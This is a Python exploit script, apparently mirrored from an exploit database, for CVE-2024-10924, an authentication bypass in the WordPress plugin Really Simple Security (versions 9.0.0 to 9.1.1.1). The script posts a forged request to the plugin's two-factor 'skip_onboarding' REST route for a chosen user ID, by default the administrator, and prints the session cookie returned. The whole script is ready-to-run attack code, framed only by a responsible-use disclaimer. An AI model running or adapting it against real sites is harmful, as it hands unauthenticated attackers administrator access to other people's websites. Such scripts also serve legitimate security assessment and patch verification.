Share
## https://sploitus.com/exploit?id=PACKETSTORM:190482
#!/usr/bin/env python3
    
    # Exploit Title: Really Simple Security 9.1.1.1 - Authentication Bypass
    # Date: 2024-11-19
    # Exploit Author: Antonio Francesco Sardella
    # Vendor Homepage: https://really-simple-ssl.com/
    # Software Link: https://really-simple-ssl.com/
    # Version: Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 - 9.1.1.1
    # Tested on: 'WordPress 6.7.0' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution)
    # CVE: CVE-2024-10924
    # Category: WebApps
    # Repository: https://github.com/m3ssap0/wordpress-really-simple-security-authn-bypass-exploit
    # Vulnerability discovered and reported by: István Márton
    
    # This is a Python3 program that exploits Really Simple Security < 9.1.2 authentication bypass vulnerability.
    
    # This makes it possible for unauthenticated attackers to log in as any existing user on the site, 
    # such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
    
    # https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass
    # https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
    
    # DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments.
    # Please use this tool responsibly. I do not take responsibility for the way in which any one uses 
    # this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.
    
    import argparse
    import json
    import logging
    import random
    import requests
    import string
    import validators
    
    from requests.auth import HTTPBasicAuth
    
    VERSION = "v1.0 (2024-11-19)"
    DEFAULT_LOGGING_LEVEL = logging.INFO
    
    def parse_arguments():
        parser = argparse.ArgumentParser(
            description=f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}"
        )
        parser.add_argument("-t", "--target",
                            required=True,
                            help="URL of the target WordPress")
        parser.add_argument("-uid", "--user-id",
                            required=False,
                            default=1,
                            help="Victim user ID (1 is usually the admin).")
        parser.add_argument("-v", "--verbose",
                            action="store_true",
                            required=False,
                            default=False,
                            help="verbose mode")
        return parser.parse_args()
    
    def validate_input(args):
        try:
            validators.url(args.target)
        except validators.ValidationFailure:
            raise ValueError("Invalid target URL!")
        
        try:
            if int(args.user_id) < 1:
                raise ValueError("Invalid user ID!")
        except ValueError:
            raise ValueError("Invalid user ID!")
    
    def send_request(url, user_id):
        logging.info("Sending request to target WordPress.")
    
        target_endpoint = f"{url}"
        if not target_endpoint.endswith("/"):
            target_endpoint = f"{target_endpoint}/"
        target_endpoint = f"{target_endpoint}?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
    
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        }
    
        body = {
            "user_id": int(user_id),
            "login_nonce": "".join(random.choices(string.digits, k=10)),
            "redirect_to": "/wp-admin/"
        }
        logging.debug(f"Body: {body}")
    
        try:
            r = requests.post(target_endpoint, headers=headers, json=body , verify=False)
            logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).")
        except Exception as e:
            logging.fatal("Error in contacting the target WordPress.")
            logging.fatal(e)
            return
        
        if r.status_code == 200 and r.headers["Set-Cookie"] is not None and "redirect_to" in r.text and "=deleted;" not in r.headers["Set-Cookie"]:
            logging.info(f"Cookie received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------")
        else:
            logging.fatal("Wrong response received from the target WordPress.")
            logging.debug(f"Cookie and body received:\n---------------------\n{r.headers["Set-Cookie"]}\n---------------------\n{r.text}\n---------------------")
    
    def main():
        args = parse_arguments()
        logging_level = DEFAULT_LOGGING_LEVEL
        if args.verbose:
            logging_level = logging.DEBUG
        logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s")
    
        validate_input(args)
        target = args.target.strip()
        user_id = int(args.user_id)
        logging.info(f"Exploit for Really Simple Security < 9.1.2 authentication bypass vulnerability (CVE-2024-10924). - {VERSION}")
        logging.debug("Parameters:")
        logging.debug(f"    target = {target}")
        logging.debug(f"   user_id = {user_id}")
    
        send_request(target, user_id)
    
        logging.info("Finished.")
    
    if __name__ == "__main__":
        main()